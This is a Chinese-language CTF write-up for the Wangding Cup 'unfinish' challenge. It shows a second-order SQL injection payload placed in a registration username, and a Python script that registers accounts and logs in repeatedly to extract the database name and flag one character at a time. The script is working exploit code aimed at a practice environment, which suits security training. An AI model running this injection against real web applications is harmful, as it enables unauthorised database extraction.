前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CTF--王鼎杯2008--unfinish

CTF--王鼎杯2008--unfinish

作者头像
cultureSun
发布2023-05-18 14:43:42
1880
发布2023-05-18 14:43:42
举报
文章被收录于专栏:cultureSun学安全cultureSun学安全

简介

这是一道有关sql注入的题,本人使用攻防世界搭建的环境。

详解

打开网址,首页是一个登录页面。

随便试个账户登录,发现不行,登录不了。页面点点也没什么东西。

尝试一下有没有注册页面,修改网址----http://61.147.171.105:50774/register.php。果然有。

也可以用dirsearch工具扫描,可以看我另一篇博客讲解dirsearch

随便注册个账户。

邮箱:1@1 用户名:1 密码:1

发现跳回到登录页面了,应该是注册成功了,登录账户。

随便点点也没什么东西。但是有个1应该是回显了用户名。大胆猜测用户名应该就是注入点。

构造payload:

0'+ascii(substr((select * from flag) from 1 for 1))+'0

写python脚本爆破:

代码语言:javascript
复制
import requests
import re

register_url = "http://61.147.171.105:50774//register.php"
login_url = "http://61.147.171.105:50774//login.php"
database = ""
flag = ""
# 获取数据库名
for i in range(1, 10):
    register_data = {
        'email': 'test@test' + str(i) + 'db',
        'username': "0'+ascii(substr((select database()) from %d for 1))+'0" % i,
        'password': 123
    }
    r = requests.post(url=register_url, data=register_data)
    login_data = {
        'email': 'test@test' + str(i) + 'db',
        'password': 123
    }
    r = requests.post(url=login_url, data=login_data)
    match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', r.text)
    asc = match.group(1)
    if asc == '0':
        break
    database = database + chr(int(asc))
print('database:', database)

# 获取flag
for i in range(1, 100):
    register_data = {
        'email': 'test@test' + str(i) + 'flag',
        'username': "0'+ascii(substr((select * from flag) from %d for 1))+'0" % i,
        'password': 123
    }
    r = requests.post(url=register_url, data=register_data)
    login_data = {
        'email': 'test@test' + str(i) + 'flag',
        'password': 123
    }
    r = requests.post(url=login_url, data=login_data)
    match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', r.text)
    asc = match.group(1)
    if asc == '0':
        break
    flag = flag + chr(int(asc))
print('flag:', flag)

Python

成功获取:flag{2494e4bf06734c39be2e1626f757ba4c}

可以爆破出数据库名----web,但是爆破不出数据库中的表名,页面尝试手工爆破表名返回nnnooo。虽然爆破不了表名,但是CTF一般都是将falg存在表名为flag的表中。

结语

好好学习,天天向上!!!

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 简介
  • 详解
  • 结语
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档